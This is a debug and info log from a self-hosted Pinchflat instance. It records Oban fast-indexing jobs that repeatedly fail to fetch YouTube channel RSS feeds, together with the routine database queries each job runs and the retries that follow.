Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 03:52:32.227 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":2},"id":537,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":100511,"event":"job:exception","queue_time":932158,"attempt":5,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:52:55.498 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.965 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:53:21.184 [info] {"args":{"id":2},"id":537,"meta":{},"system_time":1784865201184223393,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:53:21.184 [debug] QUERY OK source="sources" db=0.2ms idle=1108.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 03:53:21.184 [debug] QUERY OK source="settings" db=0.0ms idle=1108.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:53:21.185 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:53:21.185 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:53:21.185 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 03:53:21.288 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":2},"id":537,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":103079,"event":"job:exception","queue_time":956809,"attempt":6,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:53:25.499 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:55.500 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.966 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:54:25.501 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:47.280 [info] {"args":{"id":2},"id":537,"meta":{},"system_time":1784865287280241659,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:54:47.280 [debug] QUERY OK source="sources" db=0.0ms idle=204.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 03:54:47.280 [debug] QUERY OK source="settings" db=0.1ms idle=204.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:54:47.280 [debug] QUERY OK source="media_profiles" db=0.0ms idle=204.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:54:47.280 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:54:47.280 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 03:54:47.377 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":2},"id":537,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":96180,"event":"job:exception","queue_time":992140,"attempt":7,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:54:55.502 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.967 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:55:25.503 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:55.504 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.968 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:56:25.505 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:41.408 [info] {"args":{"id":3},"id":535,"meta":{},"system_time":1784865401408561029,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:56:41.408 [debug] QUERY OK source="sources" db=0.0ms idle=332.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:56:41.408 [debug] QUERY OK source="settings" db=0.0ms idle=332.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:56:41.409 [debug] QUERY OK source="media_profiles" db=0.0ms idle=332.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:56:41.409 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:56:41.409 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 03:56:41.567 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":535,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":158180,"event":"job:exception","queue_time":232961,"attempt":9,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:56:55.506 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.969 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:57:19.450 [info] {"args":{"id":2},"id":537,"meta":{},"system_time":1784865439450269858,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:57:19.450 [debug] QUERY OK source="sources" db=0.0ms idle=374.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 03:57:19.450 [debug] QUERY OK source="settings" db=0.0ms idle=374.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:57:19.450 [debug] QUERY OK source="media_profiles" db=0.0ms idle=374.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:57:19.450 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:57:19.450 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 03:57:19.552 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":2},"id":537,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":102011,"event":"job:exception","queue_time":73102,"attempt":8,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:57:25.507 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:55.508 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.970 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:58:25.509 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:55.510 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.971 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:59:25.511 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:55.512 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:00.971 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:00:25.513 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:55.514 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.973 [info] {"source":"oban","duration":136,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:01:25.515 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:34.741 [info] {"args":{"id":1},"id":538,"meta":{},"system_time":1784865694741406035,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:01:34.741 [debug] QUERY OK source="sources" db=0.0ms idle=1665.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:01:34.741 [debug] QUERY OK source="settings" db=0.1ms idle=1665.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:01:34.741 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:01:34.742 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:01:34.742 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 04:01:34.927 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":538,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":185573,"event":"job:exception","queue_time":547225,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:01:53.761 [info] {"args":{"id":2},"id":537,"meta":{},"system_time":1784865713761567111,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:01:53.761 [info] {"args":{"id":1},"id":538,"meta":{},"system_time":1784865713761592365,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:01:53.761 [debug] QUERY OK source="sources" db=0.1ms idle=1685.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 04:01:53.762 [debug] QUERY OK source="sources" db=0.1ms idle=1685.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:01:53.762 [debug] QUERY OK source="settings" db=0.0ms idle=1008.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:01:53.762 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:01:53.762 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:01:53.762 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:01:53.762 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:01:53.762 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 04:01:53.762 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:01:53.762 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 04:01:53.910 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":2},"id":537,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":148614,"event":"job:exception","queue_time":208418,"attempt":9,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:01:54.210 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":538,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":448263,"event":"job:exception","queue_time":833738,"attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:01:55.516 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.974 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:02:13.783 [info] {"args":{"id":1},"id":538,"meta":{},"system_time":1784865733783190681,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:02:13.783 [debug] QUERY OK source="sources" db=0.1ms idle=1007.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:02:13.783 [debug] QUERY OK source="settings" db=0.1ms idle=707.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:02:13.783 [debug] QUERY OK source="media_profiles" db=0.0ms idle=707.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:02:13.783 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:02:13.784 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 04:02:13.884 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":538,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":100496,"event":"job:exception","queue_time":572535,"attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:02:25.517 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:38.809 [info] {"args":{"id":1},"id":538,"meta":{},"system_time":1784865758809659300,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:02:38.810 [debug] QUERY OK source="sources" db=0.1ms idle=1733.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:02:38.810 [debug] QUERY OK source="settings" db=0.0ms idle=1734.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:02:38.810 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:02:38.810 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 